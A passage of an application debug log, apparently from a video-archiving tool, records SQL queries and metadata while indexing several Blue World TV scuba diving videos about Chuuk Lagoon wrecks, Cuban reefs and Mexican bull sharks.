Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "duration" => 2163, "filename" => "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", "id" => "h2NPGc12V-4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=h2NPGc12V-4", "playlist_index" => 9, "timestamp" => 1761400868, "title" => "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "upload_date" => "20251025"} 19:03:05.325 [debug] QUERY OK source="sources" db=0.2ms idle=626.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:05.325 [debug] QUERY OK source="sources" db=0.1ms idle=626.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:05.326 [debug] QUERY OK source="media_items" db=0.9ms idle=627.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 14:01:08Z], 34] 19:03:05.328 [debug] QUERY OK source="media_items" db=1.3ms idle=628.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "026945df-fbf5-4d54-bbdf-0a3b21e82986", "h2NPGc12V-4", false, "https://www.youtube.com/watch?v=h2NPGc12V-4", 34, [], 2163, false, 9, "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", false, false, 98, ~U[2025-10-25 14:01:08Z], ~U[2026-06-03 23:03:05Z], ~U[2026-06-03 23:03:05Z], "Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "h2NPGc12V-4", "https://www.youtube.com/watch?v=h2NPGc12V-4", 34, 2163, false, "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", false, ~U[2025-10-25 14:01:08Z]] 19:03:05.328 [debug] QUERY OK source="sources" db=0.1ms idle=73.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:05.329 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:05.329 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119030] 19:03:05.329 [debug] Current batch of media processed. Will check again in 1000ms 19:03:06.330 [debug] Current batch of media processed. Will check again in 1000ms 19:03:07.331 [debug] Current batch of media processed. Will check again in 1000ms 19:03:08.332 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "duration" => 1085, "filename" => "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", "id" => "s0KGNqDNyDk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=s0KGNqDNyDk", "playlist_index" => 10, "timestamp" => 1757167282, "title" => "Diving the Pristine Reefs of CUBA!", "upload_date" => "20250906"} 19:03:08.333 [debug] QUERY OK source="sources" db=0.3ms idle=1634.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:08.334 [debug] QUERY OK source="sources" db=0.2ms idle=1635.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:08.336 [debug] QUERY OK source="media_items" db=1.6ms idle=1635.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-06 14:01:22Z], 34] 19:03:08.338 [debug] QUERY OK source="media_items" db=1.5ms idle=1077.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "Diving the Pristine Reefs of CUBA!", "6756deb1-eeaa-47e0-a0e8-4b489cd11b2d", "s0KGNqDNyDk", false, "https://www.youtube.com/watch?v=s0KGNqDNyDk", 34, [], 1085, false, 10, "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", false, false, 98, ~U[2025-09-06 14:01:22Z], ~U[2026-06-03 23:03:08Z], ~U[2026-06-03 23:03:08Z], "Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "Diving the Pristine Reefs of CUBA!", "s0KGNqDNyDk", "https://www.youtube.com/watch?v=s0KGNqDNyDk", 34, 1085, false, "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", false, ~U[2025-09-06 14:01:22Z]] 19:03:08.338 [debug] QUERY OK source="sources" db=0.2ms idle=77.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:08.338 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:08.339 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119033] 19:03:08.339 [debug] Current batch of media processed. Will check again in 1000ms 19:03:09.340 [debug] Current batch of media processed. Will check again in 1000ms 19:03:10.341 [debug] Current batch of media processed. Will check again in 1000ms 19:03:11.343 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "duration" => 564, "filename" => "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", "id" => "st5_OKH1O-g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=st5_OKH1O-g", "playlist_index" => 11, "timestamp" => 1754143290, "title" => "Return to the BULL SHARKS of Mexico!", "upload_date" => "20250802"} 19:03:11.344 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1645.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:11.346 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1646.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:11.348 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1648.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 14:01:30Z], 34] 19:03:11.350 [debug] QUERY OK source="media_items" db=1.7ms idle=1085.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a 